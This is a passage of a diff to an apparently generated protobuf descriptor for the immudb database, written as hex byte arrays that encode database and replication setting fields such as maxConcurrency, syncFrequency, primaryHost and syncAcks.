0x54, 0x69, 0x6d, - 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, - 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, + 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, + 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, + 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, + 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, + 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, + 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, + 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, + 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e, + 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, + 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, + 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, - 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, - 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, - 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, - 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, - 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, - 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, - 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, - 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, - 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, - 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, + 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, + 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, + 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, + 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, + 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, + 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, + 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, - 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, - 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, - 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, - 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, - 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, - 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, - 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, - 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, - 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, - 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, - 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 